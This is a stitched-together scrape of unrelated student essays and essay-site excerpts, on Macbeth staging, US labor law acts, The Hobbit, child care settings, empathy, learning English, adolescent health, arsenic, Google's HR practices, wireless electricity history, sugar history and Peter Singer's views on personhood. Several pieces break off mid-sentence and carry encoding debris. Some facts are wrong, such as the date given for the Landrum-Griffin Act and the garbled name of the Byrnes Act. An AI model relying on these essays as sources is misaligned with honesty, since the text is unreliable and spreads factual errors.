figures in the cauldron, whilst saying what it is, for example in a creaky and loud voice One little finger to add texture then they would put the jar back on the shelf. Most of the props needed for the scene. Other props also may be needed when the apparitions appear, for example the third apparition is a child crowned with a tree in his hand and for this you need a little tree and a crown to place on the childs head. The witches will all be women, quite young in their 20s, with a mixture of hair colours i. e. black,grey,brown wet with fake blood and mud at the tips. They tie cloths around their waist to their necks, with bare feet and rusted toenails and fingernails. To make them look scary they will have no make up but rather very dirty faces, this leaves them looking scary and more like witches to cause an atmosphere. Also the apparitions may need make-up for example there is a bloody child so that needs fake blood. Their clothes may need to be a bit dirty and screwed up to give the feel that its damp and dirty in the cave and that they dont often change their clothes. I want the audience to be scared of them as if they were watching a 3D movie. And generally it makes it more exciting and makes them want to watch more. The witches would have been taken so seriously by the Jacobean audience because they were made to look scary and thats what Shakespeare thought would intrigue the audience and make them want to watch on. The scene will generally be dark but about every 3-4 minutes the stage must flicker to give the feel that there is lightening going on outside, when the apparitions appear there will be a spotlight on them to make sure that the audience is only focusing on them and nothing else also it may make them look a little scarier, also when they appear I would like there to be a fast drumming sound i. e. broom broom broom broom) then a halt, and a puff of smoke to show they are appearing. This would be done with a fontonfrom drum because Ghanaians believe that drum signifies a talking soul. At the beginning of the scene when they are casting a spell the light should be directly on them so that its a shock when Mac Beth appears in the middle of the stage. There are many special effects in this scene especially when the apparitions appear. I think it would be better if they were props and they were either hung from the roof and pulled up out of the cauldron, as this would be most effective including dry ice surrounding the stage. I will use trapdoors, which will be placed at the bottom of the cauldron so it is easy to change the props for each apparition. The witches will enter and exit the stage by side doors allowing them to go backstage and get ready for their next showing. There maybe a few times when sound is needed for example once the witches enter and they start saying Double double toil and trouble, Fire burns and cauldron bubble then after a bang will sound and also when the apparitions appear to give the feel of chanting when the witches are brewing up there spell then a little light banging may occur. Sound effects will be needed at the beginning of the scene for the thunder and lightening aspect, which will occur at the time of the witches brewing their spell. The language in this play is often recurring for example witches say at the beginning- Double double toil and trouble, Fire burns and cauldron bubble this paragraph occurs quite a few times during the scene. I can use this speech for example to make the audience feel the witches are perhaps in some way mentally disturbed. The language that takes place in this scene is often confusing in the sense that it is old English and is very hard to understand. Although it would have been the right language for the Jacobean times and many people if not all the people then, would have understood much better that the people today. The language used reminds people of a horror story maybe as horror stories are normally set back in time to create a more mystery and unkemptness to the plot. Ideally I would like the audience to react in a few different ways. Initially I would like them to be so intrigued with the performance that they want to watch on and see what happens next and also I would want them to follow the plot well enough to put themselves in the characters shoes and understand how they are feeling. One other thing I would like them to feel is how the Jacobean audience felt, which was a little scared of the witches and amazed at the effects that were performed. I want the audience to be flabbergasted as well as petrified.

Retail Employee Management-Assignment 2_02 Assignment

Retail Employee Management- 2_02 - Assignment Example The Taft-Hartley Act of 1947 was a bill introduced and sponsored by Senator Robert A. Taft and Representative Fred A. Hartley. Its main objective was to amend parts of the Wagner act of 1935 (International Association of Fire Chiefs, 2010). The bill stated proposed the following changes to the Wagner bill. It was illegal for trade unions to contribute funds towards a political campaign. The president had the mandate to appoint a special board of inquiry to investigate disputes among the trade unions if he thought the disagreements were a threat to national security. The bill (act) also required the union leaders to take oaths to prove they were not communists. After tense lobbing and opposition to the bill by President Harry S. Truman, the Senate went ahead and approved it on July 23, 1947. The Landrum-Griffin Act also known as the labor-management reporting and disclosure act was named after its sponsors` Representative Phillip M. Landrum and Senator Robert P. Griffin (International Association of Fire Chiefs, 2010). The act prevents corruption within the trade unions and to guarantee the union members that the affairs of the trade unions would be conducted democratically. It was after an investigation on union corruption and racketeering was done, and the results showed that some of the trade unionists were indeed corrupt and unscrupulous. President Dwight Eisenhower signed the bill into law in 1957. The Brynes act is a federal law that was enacted in 1936. It is also known as the Anti-breaking law. The act prevents the movement and transportation of strikebreakers. The act states it is a crime to employ an individual, who has engaged or resorted to using force during labor disputes. The use of threats and force is prohibited by the act. Some of the acts prohibited include stirring up violence and inciting fellow workers to violence. Offenders of the Byrne’s act are punished through fines and in cases of extreme

The Hobbit by J.R.R Tolkien Essay Example | Topics and Well Written Essays - 1000 words

The Hobbit by J.R.R Tolkien - Essay Example In the beginning, Bilbo Baggins is shown as the meekest of all creatures who uses to decline all of what ‎Gandalf is offering. He feels afraid and is very used to the comfortable atmosphere of his home ‎and village. Gandalf does not take no for an answer and even convinces the doubtful dwarves ‎that this is the man that will help them achieve what is rightfully theirs. His confidence in Bilbo is ‎perhaps what lights the spark in the little Hobbit who has serious understated self-esteem issues ‎even though he is revered in his community and often looked upon as the leader. ‎ ‎ There are numerous obstacles encountered throughout the journey, often life threatening or ‎involving intricate decision making. However, as Gandalf has placed Bilbo in charge of the ‎expedition, often the Hobbit finds himself in situations that he would not normally be brave ‎enough to face. Gandalf defines him, explores him, exposes him and ascends him. At a certain ‎part, Gandalf disappears leaving the dwarves and Bilbo unable to make even a small fire for them ‎to fight off the cold. Bilbo, feebly accepting to take responsibility, goes ahead and gets himself ‎and his group in trouble with three trolls. ... ?This does not hammer his confidence and it shows a steady side of him that slowly ?keeps on developing through the story. He steals a key from the trolls that later on help his group ?get to their layer. ? ? Unlike Bilbo’s confidence that slowly takes form Gandalf believes in him from the beginning. ?He says to the dwarves ‘Let’s have no more argument. I have chosen Mr. Baggins and that ought ?to be enough for you. If I say he is a burglar, a burglar he is, or will be when the time comes. ?There is a lot more in him than you guess, and a deal more than he has any idea of himself.’ (1: 104) It further embellishes Gandalf’s faith in his Hobbit friend. ? ? The old themes of heroism, loyalty and valour are pronounced in the shape of Bilbo Baggins. ?The central ideology lies in his discovery of himself. On the contrary, it is always Gandalf’s ?shadow that works on his heart, acting like a stimulant. There are still parts that beg to differ of ?Bil bo’s bravery. When they meet the all wise elves, the elves notice Bilbo’s gentle nature and ?reward swords of protection to Gandalf and the Thorin who is head of the dwarves. ?Conversely, Bilbo’s gentle nature is again revealed when he encounters the all famous Gollum. ?Whilst taking the ring that belonged to Gollum, his decision to kill the despised small mortal felt ?wrong when he was in his invisible state (while wearing the ring). It did not seem justified to him ?that he takes the life of Gollum unwarned, even though it was very obvious that his nemesis ?wanted to kill him. ? Bilbo Baggins is not a thief by occupation or by will. It is in fact Gandalf’s convincing that ?brings him onto a road where he begins to steal, not always by choice.

Use Of Pleasure Term Paper Example | Topics and Well Written Essays - 1500 words

Use Of Pleasure - Term Paper Example It is due to the use of pleasure that individuals enjoy themselves and sometimes every bit of life (Mulvey 439). The concepts of pleasure can have a strong influence over the personality of individuals. Such as those people who love every bit and every moment of this life , their personality is different, while those who do not enjoy life or we could say that those people who are a bit introvert and shy their personality is totally different. The use of pleasure can be achieved through different ways. Many people smoke or drink and enjoy life and they believe or claim that they are enjoying life and are in a state of pleasure. On the other hand there are people who have attached different meanings and values to other activities and then through those activities they achieve enjoyment or we could say that they are using pleasure directly or indirectly. There are different ways and means through which the state of pleasure can be achieved. It depends upon person to person and their likings for different activities and hobbies through which they achieve the state of pleasure. Some of the factors through which the choices of enjoyment are made are the following. Many people achieve the state of pleasure through adventure. Basically these people are those who are extrovert ,who love going out, who are consider interaction much important and they also go out and try to explore the world .However , we must keep in mind that such people also are different and it depends upon person to person. For example it also depends upon the nations and different countries. In United States of America the local or native people might like to go out and see different places this is the ways through which they achieve the state of pleasure or through this way they use pleasure. On the other hand for example people in Russia might love to go out and see the pure Russian sights such as the different locations of Siberia. So this shows that there are variations all over the world

Responsive Relationships In Inclusive Relationships Children And Young People Essay

Responsive Relationships In Inclusive Relationships Children And Young People Essay The purpose of this assignment is to give an observation of an inclusive environment that helps children feel welcome and safe. At the same time this assignment gives an opinion on how to improve the child care settings to help children feel more comfortable. The children at the child care centre are three and three and a half years old and it may be hard for children to leave their parents at that age. The setting helps the children feel at home when they come in to the child care centre. In the child care centre there are six areas where the children have the opportunity to play in, such as the block area where all the childrens toys are. The areas have different materials that are available for the children to use in order to develop and introduce the children to different experiences such as in the book area. There are books that have pictures of different animals and this will help the children identify different animals and even spark their interest later on in the day. Schedule Is there outdoor time schedule (or gym time for bad weather?) In the child care centre, the schedule reflects each childs needs. The children are restless and they need the time to have fresh air and physical activity. For example, the children have outdoor play twice a day and gym time when the weather is not suitable. The children have at least 2 hours of outdoor play in a day. There is a playground for the children where they can go on the slides, play in the sandbox and there are toys to play with outside. In the gym, there are scooters, mini cars and a smaller playground to play in. The gym has many materials for the children to choose from if they do not want to play with the scooters or the mini cars. There are other options for the children to choose from such as costumes and baby dolls with strollers. Is the schedule explained in enough detail that you can understand what children are expected to do during this time period? Schedules are typically posted so that children, families and volunteers can anticipate the next event. For younger children the schedule is often displayed in picture form (P.55) In the child care centre, there are two schedules in the classroom. The schedule provided for the adults gives specific times such as when it is time for the children to play, eat lunch, snack and go to the washroom. For the children, the schedule is placed at eye level where they can see and it will show the time for their play, snack and lunch but with pictures for the children to understand the schedule. 1b. Describe any changes, suggestions you would recommend to make the schedule in the environment meet the criteria in the environmental assessment tool. Bullard (2011), states that Children should not be required to lie on their mats for long periods of time (more than half an hour) when they are not asleep (p. 63). During rest time, some children are unable to sleep for a longer than thirty minutes. In my placement, some children move from their mats, or play with their blankets. To improve this transition I would have the children who are unable to sleep get together and go to the gym and play until they are tired, so that when they come back to the classroom the children are more likely to fall asleep. Transitions Are children given advance notice that an activity is changing? Giving a warning demonstrates that we have respect for children and their work. The time between the warning and the transition allows children to bring closure to the task they are engaged in and to begin planning for the next event (Bullard 2010 P.61). After the morning snack, the children are playing in the block area for at least an hour, before recall. This is from 8:30 to 9:30, before 9:30 the teacher will say Okay, guys, five more minutes. When the five minutes past the teacher will look at the clock and tell the children, okay, everyone, two more minutes. This gives the children an advance notice for the children so they do not feel rushed when the clock shows 9:30. When play time is over the children are more likely to clean up their material and wait for the next event on the schedule. 2b) Describe any changes, suggestions you would recommend to the transitions to meet the criteria in the environmental assessment tool. In addition to wasting valuable time and increasing the likelihood of behaviour problems, requiring children to wait with nothing to do is disrespectful (Bullard 2010 P. 60). In my placement, lunch time has the most waiting time. Sometimes the children will misbehave because they have nothing to do while lunch is being served. The recommendation I would make in order to make this transition easier for the children and the teacher is singing a song as this will help take their minds off of waiting for their food to arrive and singing is one the best way to keep a child entertained. A) Block Area B) In the block area there are many materials used by the children every day. The materials vary from dolls, building blocks and construction tools. The learning experiences in the block area help children express how they feel using the materials in front of them. For example, when a child is expressing that they are sad, they might isolate themselves and use the dolls to take their minds off of what they were upset about. The block area also encourages children to cooperate and learn how to share because of the amount of toys that are available in the learning centre. C) Are there materials that reflect the lives of children with disabilities? Yes, in the child care centre the block area has dolls with many disabilities to give children exposure to people with special needs. They have dolls from all different backgrounds that have disabilities such as a child in a wheelchair or an elderly person holding a cane. This helps children learn that people can be different and includes every child in the classroom. In my placement there is a child who has a mental disability that is unable to move and he is bound to a wheelchair. Having these dolls in the classroom help include him and show the children that he is not different from the other children. Are the shelves labeled so that children can easily find items and know where to put them away? Appropriate storage can help reduce clutter, saves time and make materials accessible, enhance the rotation of toys and equipment, and maximize the use of resource (Bullard, 2010 P. 99). Yes, in the child care centre the block area has many shelves that are labeled with words and pictures. This will help the children organize where they should put the material when it is time to transition to a new event. The shelves are child accessible that they are at their level to reach for the materials and it is very organized so that each child can find what they want without any assistance. D) In the block area, I feel that the spacing is not inclusive for all children. There is little space for a child in a wheelchair to be included within the block area with the other children. This is not responsive or inclusive because the child with special needs is left out from the activities that the children are participating in. This can cause a problem when he wants to be able to see the other children play. Also the parents and teachers are unable to move in the block area because of the amount of children playing and the toys in the room. This is difficult for when the parents want to be involved with the childs play. E) The recommendation I would make in order for the block area to be more inclusive is to arrange the room for more space to include staff and parents. In my placement, I noticed that the amount of children and toys that are placed in the block area does not give a lot of room for the teachers to move around or parents to see what their child is doing. If there was more space, there would be more room for children, parents and staff to be side by side and interact with each other. Another reason more room is important is because the child who is in the wheelchair is unable to join the children in the block area due to lack of space. If they expand the block area the child would be able to be included in the activities with the other children. I would push the shelves back more to give space for all the children and give room for the child with the disability to be able to move inside the block area. F) Is the environment homelike? The environment in the block area is somewhat homelike because there are pictures of the families of each child on the wall and there are living things such as plants. The child care centre provides the pictures for the children so that when they miss their parents they are able to look at the pictures in the block area. The child care centre also allows the children to grow their own plants at the centre. This teaches the children about growing plants and gives the environment a homelike feel. Are there pale and neutral colours used for most walls and shelving? Yes, the walls in the centre are painted white and the shelves are a natural wood colour. This is important because bright colours cause too much stimulation, especially when the toys and the pictures on the wall should be the main attraction. Neutral colours allow the emphasis to be on the toys and materials in the classroom. G) In part F), I mentioned that the environment of the block area is somewhat homelike in the child care centre. This is because there is no space for the children to find a quiet spot for their own purposes. According to Bullard (2010), Solidary retreats provide children the opportunity to think and dream, engage in uninterrupted concentration, regain control of emotion and unwind after intense periods of interaction. (P. 92). I would have a space outside of the block area for the child if he/ she wants to be alone, then they can leave the block area and sit in the space so that they are able to find their peace of mind. Conclusion The environment of the child care centre is homelike for children and helps the children feel comfortable in the room. The transitions between play time and recall help each child get used to the schedule. The teacher is there to assist the children through the transition through early warnings so that the children do not feel rushed when they have to clean up their materials. From my observation, the block area in the child care centre was inclusive. However, there are some recommendations that should be addressed in order to help each child feel more included and reducing the waiting time when transitioning to a new event. The recommendations I made were that they should sing songs during lunch time, expand the block area more to include a child with special needs and find a space for each child in the centre to be alone if they want to. All in all, the centres environment has met with each childs needs in terms of helping them transition from different activities and make them fee l comfortable in the classroom.

On Empathy :: essays research papers

<a href="http://www.geocities.com/vaksam/">Sam Vaknin's Psychology, Philosophy, Economics and Foreign Affairs Web Sites The Encyclopaedia Britannica (1999 edition) defines empathy as: "The ability to imagine oneself in anther's place and understand the other's feelings, desires, ideas, and actions. It is a term coined in the early 20th century, equivalent to the German Einfà ¼hlung and modelled on "sympathy." The term is used with special (but not exclusive) reference to aesthetic experience. The most obvious example, perhaps, is that of the actor or singer who genuinely feels the part he is performing. With other works of art, a spectator may, by a kind of introjection, feel himself involved in what he observes or contemplates. The use of empathy is an important part of the counselling technique developed by the American psychologist Carl Rogers." Empathy is predicated upon and must, therefore, incorporate the following elements: (a) Imagination which is dependent on the ability to imagine (b) The existence of an accessible Self (self-awareness or self-consciousness) (c) The existence of an available other (other-awareness, recognizing the outside world) (d) The existence of accessible feelings, desires, ideas and representations of actions or their outcomes both in the empathizing Self ("Empathor") and in the Other, the object of empathy ("Empathee") (e) The availability of an aesthetic frame of reference (f) The availability of a moral frame of reference While (a) is presumed to be universally available to all agents (though in varying degrees) - the existence of the other components of empathy should not be taken for granted. Conditions (b) and (c), for instance, are not satisfied by people who suffer from personality disorders, such as the Narcissistic Personality Disorder. Condition (d) is not met in autistic people (e.g., those who suffer from the Asperger syndrome). Conditions (e) is so totally dependent on the specifics of the culture, period and society in which it exists - that it is rather meaningless and ambiguous as a yardstick. Condition (f) suffer from both afflictions: it is both culture-dependent AND is not satisfied in many people (such as those who suffer from the Antisocial Personality Disorder and who are devoid of any conscience or moral sense). Thus, the very existence of empathy should be questioned. It is often confused with inter-subjectivity. The latter is defined thus by "The Oxford Companion to Philosophy, 1995": "This term refers to the status of being somehow accessible to at least two (usually all, in principle) minds or 'subjectivities'.

Learning English

English is the most widely spoken language in the world, and has more second-language speakers than any other language. English is also the language of the Internet, and so studying, doing research, interacting with international companies and travelling is almost impossible without at least some English. It is now impossible to find a country where learning English has not become popular. You wish to travel someplace, you have to communicate. If you don't know the language of the country where you go, just try speaking English and they will understand. magine that you don't know english and you go to china and of course you don't know chinese and you need to find an address. how will you ask that address to some one ? and i can give you thousands of examples like that. Now in most of the job application the company ask about the languages you know. and all of them expect that you know english because international customers rely on English speaking employees to help them with day to day operations to interpret, translate and communicate directly with English speaking customers. Speak fluent English can improve job opportunities. There are other opportunities available for those who learn English. Learning English can improve the chances of being accepted into colleges. Learning English also can expand the ability to access news and information, much of which is generated only in English. if you are looking for an information on internet and if you are looking it in english you will find more than in your language. because english is an international language. you can find all the news , magazines, all the information you need you can find in english. as we all know music connects people to people. f you don't know english how will you understand the meaning of the song and how will you enjoy it. music is really important in life. imagine a life without music how boring will it be. no music on the radio when you are in rush? i really can't imagine a life like that . english is important for your education too. if you go to USA to study you get a better education than you will get in your country. you will mee t some new international friends and some hay if you need some think from the countries that you have friends you will solve it easily. in the end learning english is the best thing to do for your life.

Child and adolescent health Essay

The two most important factors influencing adolescent’s developments are psychological and environmental factors. As they grow, they are influenced by environmental factors such as religion, culture, Schools and religion. The psychological factors that influence their development includes cognitive and emotional factors (Hall & Braverman, 2014). In the western society, what is missing that would benefit health promotion for the adolescents is a focused attention on the diseases most adolescents experience, and the risk factors with their root causes. Moreover, another missing factor in the western society is emphasis on prevention since mostly they concentrate on curing or treatment than prevention, yet prevention is cost effective (Merrick, 2014). The health problems faced by the adolescents impact their health and wellness in several ways in their lifetime. An adolescent who uses tobacco, has unhealthy eating behavior, uses alcohol and other drugs, has inadequate exercise or engages in sexual behaviors that may result to sexually transmitted infections’ and unwanted pregnancy may negatively impact their lives (Hall & Braverman, 2014). Some of the effects of the health problems faced by the adolescents which may impact their health and wellness include lung cancer, obesity or underweight, high blood pressure, and even contracting the incurable HIV virus or being early mothers. There are several areas that must be addressed when taking sexual history of adolescents. According to Hal & Braverman, (2014), â€Å"5 Ps† are used as a general guide for taking the sexual history of adolescents. Partners- questions should ask the sex, number and concurrency, sex partners of the adolescents Practices-the nurse should explore sexual activity types that the adolescent pained engages in such as oral, anal and anal sex Protection- the questions should ask about the teenager’s use condoms and the circumstances making it easier or harder to use he condoms Past history of STD-the nurse should ask about the STD history of the teenager. These includes whether the teens has ever contracted the STDs in Pregnancy. Prevention-lastly, the nurse should ask the teenager whether they want to be pregnant and discuss the future and current contraceptives (Hall & Braverman, 2014). In conclusion, psychological and environmental factors are the two most important factors that influence adolescent’s developments. Focused attention on the diseases experienced by the adolescents and emphasis on prevention is lacking in the western society. Moreover, there are several health problems adolescents face that impact their health and wellness in several ways in their lifetime. Lastly, when taking sexual history, one need to consider the partners, practice, and protection, past history of STD and prevention. References Hall, C., & Braverman, P. K. (2014). Hot topics in adolescent health. man, P. K. (2014). Hot topics in adolescent health. Merrick, J. (2014). Child and adolescent health yearbook 2013. Source document

Arsenic essays

Arsenic essays Phosphorus (P), arsenic (As), antimony (Sb), and bismuth (Bi) form a group of four elements in Group 5A of the periodic table. They exhibit increasing metallic properties going down the group. Nitrogen (N), which heads the group, is a colorless, odorless, and tasteless gas. Phosphorus is a highly reactive nonmetal, arsenic and antimony are poisonous metalloids, and bismuth is a true metal. Because of the arrangement of the outer electrons in their atoms, each of these elements can form up to five chemical bonds with other elements or groups of elements. Arsenic has an atomic number 33, atomic mass is 74.9216, and it sublimes (passes directly into a vapor without melting) at 613Â ° C. The Earth's crust contains relatively little arsenic, only about 5.5 parts per million. Arsenic and some arsenic compounds have been known for a long time. Aristotle thought that arsenic was a kind of sulfur. The Latin word arsenicum means yellow orpiment (a pigment containing arsenic and sulfur). While knowledge of arsenic dates back to ancient Greece, it wasn't until the Middle Ages that its poisonous characteristics were described. It was identified by Albert Magnus about 1250, and he described the way to manufacture it. Since then the method has scarcely changed: the mineral arsenopyrite is heated and decomposes with the liberation of arsenic gas. The gas can be condensed on a cold surface. Metallic Arsenic was first produced in the 17th century by heating arsenic with potash and soap. Arsenic is very similar to antimony and bismuth. It exists in bright, metallic forms that are stable in air. It is found free in nature or in combination with other elements, usually sulfur. It is most often used to improve the strength and hardness of alloys, which are combinations of metals. Arsenic is a gray, shiny metalloid, which is a moderately good conductor of heat and electricity, but gray arsenic is brittle and breaks easily. This is the ordi...

Google Company - People Management practices Research Paper

Google Company - People Management practices - Research Paper Example It mainly specializes in the internet engine and allied advertising services. It primarily operates in the U.S, U.K and other countries in the global scene. It is based in California and employs over 20, 000 people. The company is not only known for its innovation and prowess in technology but also for its special HR practices and culture. Its HR practice is known as ‘People Operation’ and it is based on value of the employee relationship and respect. This keeps the employees highly motivated and improves their efficiency and productivity. Approach to Employee Rewards and Motivation In the company’s workplace, employees are considered to be the most important asset. This is owing to the fact that employees perform basic tasks in the organization that are aimed at achieving the company’s goals and objectives. It is important for employees to perform their duties in a positive environment that motivates them to maintain an optimistic attitude that improves th eir productivity. Google takes employee rewards and motivation seriously and has established motivation and rewards practices. In addition to the competent hiring process, Google employs compensation practices to gain a competitive advantage over its rivals. Google’s reward and compensation system is pay for performance based (Great Place to work, 2009). This means that the employees are motivated to deliver quality output so as to get a higher pay. Additionally, the company’s stock option organization ensures that employees get rewarded for the company’s equity linked growth. It was surprising that all the workers requested for a wage reduction in the year 2005 to 2006. These benefits and rewards help the company to recruit employees and motivate them towards achieving the goals and objectives. The employees take part in a wide range of extra curricula activities such as cycling, wine tasting and travelling which keeps them highly motivated and have the desired to work in the company throughout their lives. The company was ranked as the best workplace in the U.S by Fortune magazine in 2009 (Datamonitor, 2009). The company’s goal is to provide rewards and do away with all the obstacles that get in the way of their duties and responsibilities. Some of the rewards include top class dining facilities, laundry rooms, gyms, massage rooms, carwashes, dry cleaning and commuting services. The company believes in the provision of intrinsic and extrinsic rewards owing to the fact that employees are not motivated by monetary incentives alone. This explains the reason why the company has established a culture that highly rewards and motivates employees. One of the best ways of maintaining the company’s culture is by maintaining rewards. Together with its compensation and conventional extrinsic benefits including health and dental benefits, vacation packages, insurance, tuition reimbursement and flex spending accounts, the company also ha s unique benefits. These include an eighteen weeks maternity period at full pay. Additionally, parents get extra benefits during this period that make things easier. They are provided with an allowance to cater for the meals of the newborn and a back- up childcare plan. The company also contributes towards the legal expenses associated with child adoption. These are just some of the extrinsic rewards offered at Google. However, it is clear to note that people who work at the company are motivated by other reasons besides the rewards. They enjoy the freedom and

History of Wireless Electricity Research Paper Example | Topics and Well Written Essays - 2000 words

History of Wireless Electricity - Research Paper Example When Maxwell presented a theory about electro-magnetic theory it stimulated the scientific environment and scientific investigators from all over the world started to look for its experimental proof or authentication. In fact, the scientists and investigators were sure about that it can be survived and achieved in an environment of keen anticipation, strangely encouraging to the response of any proof to this conclusion. Without a doubt, the history of science reveals that ideas and concepts are unpreserved. In fact, every new idea and concept beings improved perspective and understanding of nature and the environment and as a result of this improvement our thoughts and concepts are adapted and improved (Tesla, 2006; Bomber, 2006; Shinohara, 2010). Actually, in the 1891, Dr. Hertz did not present a new theory or an opinion. On the other hand, he just presented his ideas regarding equipment and how it supports to the theory which had already been presented by some other scientists. If we would have taken notice of it then it was not surprising that an electric circuit, processed through an interrupted current, release a wide variety of space signals, however nobody else ever tried to understand their character. So, Dr. Hertz was the first who actually presented a practical authentication that there were transversal signals and waves in the atmosphere. In this scenario, the majority of people considered this thought as his huge achievement. However, in actual fact it can be seen that the eternal value of this theory or idea was not so much in this theory as in the getting the concentration of investigators on the actions are being performed in the ambient means Hence, it gave the Hertz-wave theory a huge importance in the history of wireless energy transmission, in view of the fact that its charming control over the thoughts, had hushed resourceful endeavor in the wireless energy sector as well as retained it for more than twenty-five years (Tesla, 2006; Bomber, 2 006; Shinohara, 2010). However, in contrast, it does not seem feasible to allow too much for the positive and valuable consequences of the influential motivations that it has given in a number of fields. In fact, with regards to the transmission of signals and wires without using wires, the use of these radiations of this operation was absolutely clear. In addition, many times Dr. Hertz was asked the questions about the feasibility and usefulness of such kind of transmission model, and he never thought so, however in the end he was accurate in his prediction. In this scenario, one of the best ways that someone might have anticipated was a way of transmission of signals and communication like the heliographic and causes to experience the same or even more restrictions (Tesla, 2006; Bomber, 2006; Shinohara, 2010). Figure 1Tesla Tower, Image Source: (Mohammed, Ramasamy, & Shanmuganantham, 2010) It was the spring of 1891 when Dr. Nikola Tesla delivered a presentation using a high freque ncy machine at the American Institute of Electrical Engineers (AIEE) at Columbia College. This demonstration actually formed the basis of an original and hopefully departure. Even though, at that time there had been presented a large number of theories and laws on the subject of electrical resonance, however none of the theory actually focused on experimental and practical authentication of these facts. Hence, it is believed that the experiments performed by Dr. Nikola Tesla are believed to be the first public demonstration

Sidneys and Freidbergs Assignment Example | Topics and Well Written Essays - 750 words - 3

Sidneys and Freidbergs - Assignment Example The sugar extraction was very complex and technical than what Europeans got used to, and ultimately resulting in sugar becoming food for the wealthy. During the 18th and 19th centuries, the sugar consumption rapidly rose in England resulting in sugar be seen as the necessity of the people regardless of the economic status. In the entire article, Mintz emphasized the importance of the spread of sugar cane in a cultural and economic sense. In addition, he examined how sugar functioning developed and transformed over time. It began as medicine to sweetener to preservative and now the food is in the form of molasses. In addition to the anthropological perspective, he looked at the historical meaning of sugar consumption. Mintz structured his article in chronological order by examining the sugar usage in each period. Initially, he suggested that he would examine the sugar cane usage though he argued that it would be hard to discuss it alone without involving other foods. Thus, the way he discussed foods, he pointed out that sugar cane gets linked with other foods that developed during diverse times revealing the world transformation. The problem with this article is that Mintz went too far in connecting his data with the main point. For instance, he took an individual general statement about the focus of Europe on the New World and argued that it was as if the writer had sugar thoughts when writing it. According to me, I think Mintz’s thoughts were a great stretch, now that the author did not say anything about the sugar. Thus, he should not have presented it as a fact in his article. Freidberg aims to show how the geographic perspective enriches the food’s historical analysis. He situates practices and norms in ecological and spatial contexts. The article examines the 20th-century food consumption history in Burkina Faso, specifically in Bobo-Dioulasso.

Human Beings Essay Example for Free

Human Beings Essay A. Holmes 2013 ENG140, Week 7, Assignment Stacey A. Holmes 2013 ENG140, Week 7, Assignment Essay 3 Summary and Response (Draft 2) Ivy Bridge at Tiffin University ENG 140 April 25 Essay 3 Summary and Response (Draft 2) Ivy Bridge at Tiffin University ENG 140 April 25 Author and world renowned Philosopher, Dr. Peter Singer who is currently at Yale University, defines terms such as â€Å"Personhood† and â€Å"Speciesism† rather distinctively, and he does it in a way, that does not fit in with most of societies’ ideas of what represents the meaning of either, personhood (such as an infant not being a â€Å"person† because it is not yet self-aware, but a dolphin being a â€Å"person† because it can recognize itself in a mirror) or discrimination (he describes individuals who eat meat as being speciesist, because he or she doesn’t take into consideration the feelings of the animal or the animal’s desire to continue on living). When asked the question â€Å"What is a person? † Most would answer by saying, â€Å"A  person  is a being, such as a  human, that has certain mental capacities or attributes constituting  personhood, which in turn could be defined differently by different authors in different disciplines and by different cultures in different times and places†. The definition for human being is â€Å"a member of any of the races of  Homo sapiens;  person; man, woman, or child† (Collins English Dictionary – Complete and Unabridged  Ã‚ © HarperCollins  Publishers, 2003). When asked to give the definition for a person, Singer, who is currently at Yale University; describes a person as â€Å"Someone who is aware of their own existence over time, is aware enough to realize that they are the same being that lived previously; who can expect to live into the future† (Singer, Peter. (2008, January 28th). Human Use of Animals [http://www. open. edu/openlearn/history-the-arts/culture/philosophy/human-use-animals]. Singer believes that some non-human animals have individuality and could be considered â€Å"persons†; describing some human beings who lack mental capacity and attributes (i. . intellectual disability, dementia, brain injury, mental illness and even infants) as non-persons, because there is†¦ no awareness of a past, present or future being. Singer says that these human beings are still showed compassion, respect, and regard. So, why aren’t we (human beings/persons) capable of showing that same compassion towards animals or non-humans? He argues that we should be able to recognize that animals are aware of their being, are aware of their past and present, that they have a desire to live, and are also very conscience of the way they are treated by human beings. He also believes that they understand suffering. He says that human beings or â€Å"persons† should be more evolved to think that there is no suffering for these animals. Singer thinks that we should be more concerned for them individually, think about what would be in their best interest, and take in consideration the things that could be bad for them or quite possibly, be harming them; rather than, using them for our own wants, needs, and desires. Society has a total disregard for animals and the fact that they are suffering, because our need for what the animal has to offer us is greater; lbeit sustenance, experimental purposes, etc†¦ (Singer, Peter. (2006, December 11th). The Colbert Report [http://www. colbertnation. com/the-colbert-report-videos/79412/december-11-2006/peter-singer]. Singer argues that this total disregard for animals’ is what he deems as speciesism (which is much like racism only targeted toward other species), and that those who practice thi s (speciesism) are speciesist (someone who has prejudices towards species other than their own). Singer says that â€Å"Some animals have a higher moral status than some humans and that our disregard for animal suffering is a deplorable moral blind spot† (Singer, Peter. (2008, January 28th). Human Use of Animals [http://www. open. edu/openlearn/history-the-arts/culture/philosophy/human-use-animals]. I am bipartisan to his argument; I can neither agree nor disagree with his philosophy. Singer makes some valid points in his argument. He says that animals â€Å"non-humans† have the same capacities or attributes that some human beings have, implicating that a non-human could potentially be categorized as a â€Å"person†. He also states that we should recognize that animals or non-humans have an acknowledgement of self and of suffering. Lastly, Singer speaks of the way that human beings or persons should care for animals. These can be categorized as â€Å"reasonable assumptions†. I believe that animals could be categorized as persons. Because, I do believe that they are fully aware, just as aware (if not more, than some human beings) as we are, of their past, present and future being. I also believe that animals are aware of their suffering and, who is causing the suffering. I also think that as human beings we should show more compassion, respect and regard toward animals, in all aspects, of our need, use, want or desire for them. But, as a Christian, I believe that all things serve a â€Å"Divine Purpose† and that mankind (human beings) remains at the top of the food chain. And God blessed Noah and his sons, and said unto them, be fruitful, and multiply, and replenish the earth. And the fear of you and the dread of you shall be upon every beast of the earth, and upon every fowl of the air, upon all that moveth upon the earth, and upon all the fishes of the sea; into your hand are they delivered. Every  moving  thing that liveth shall be meat for you; even as the green herb have I given you all things. But flesh with the life thereof, which is the blood thereof, shall ye not eat† (The Holy Bible, KJV, Genesis 9:1-4). Scripture says that all things on the Earth are for us (human beings) and that there isn’t anything that we could not eat (or use for our purposes) other than another human. If God can take into the consideration the â€Å"feelings† of the beings that He created, and still give them to us (humans) for sustenance. Then who are we (the created) to say that it’s wrong? Well, Singer also suggests that even infants aren’t fully aware of there being, there present, past and/or future and I say to that; If they were afforded the time then they would certainly be aware of these things. So, that statement holds no validity for me. I could understand if his philosophy, applied only toward those that have any intellectual disabilities, dementia, brain injuries, and mental illnesses his statement would have more substance. But, at some point and time; infants would eventually be considered persons. When looking back at my own experience with infants (my children and grandchildren), I felt as if the child’ knew exactly who I was and that we had this â€Å"mutual understanding† and affection for one another. Or it could be very possible for the infant to never fully develop. Who knows with life, it’s too unpredictable. But once again, that is just the nature of life, I do not believe that we were meant to know or have knowledge of everything. I respectfully disagree with Dr. Singer’s analysis of infants. But, I think that his analysis could be applied to 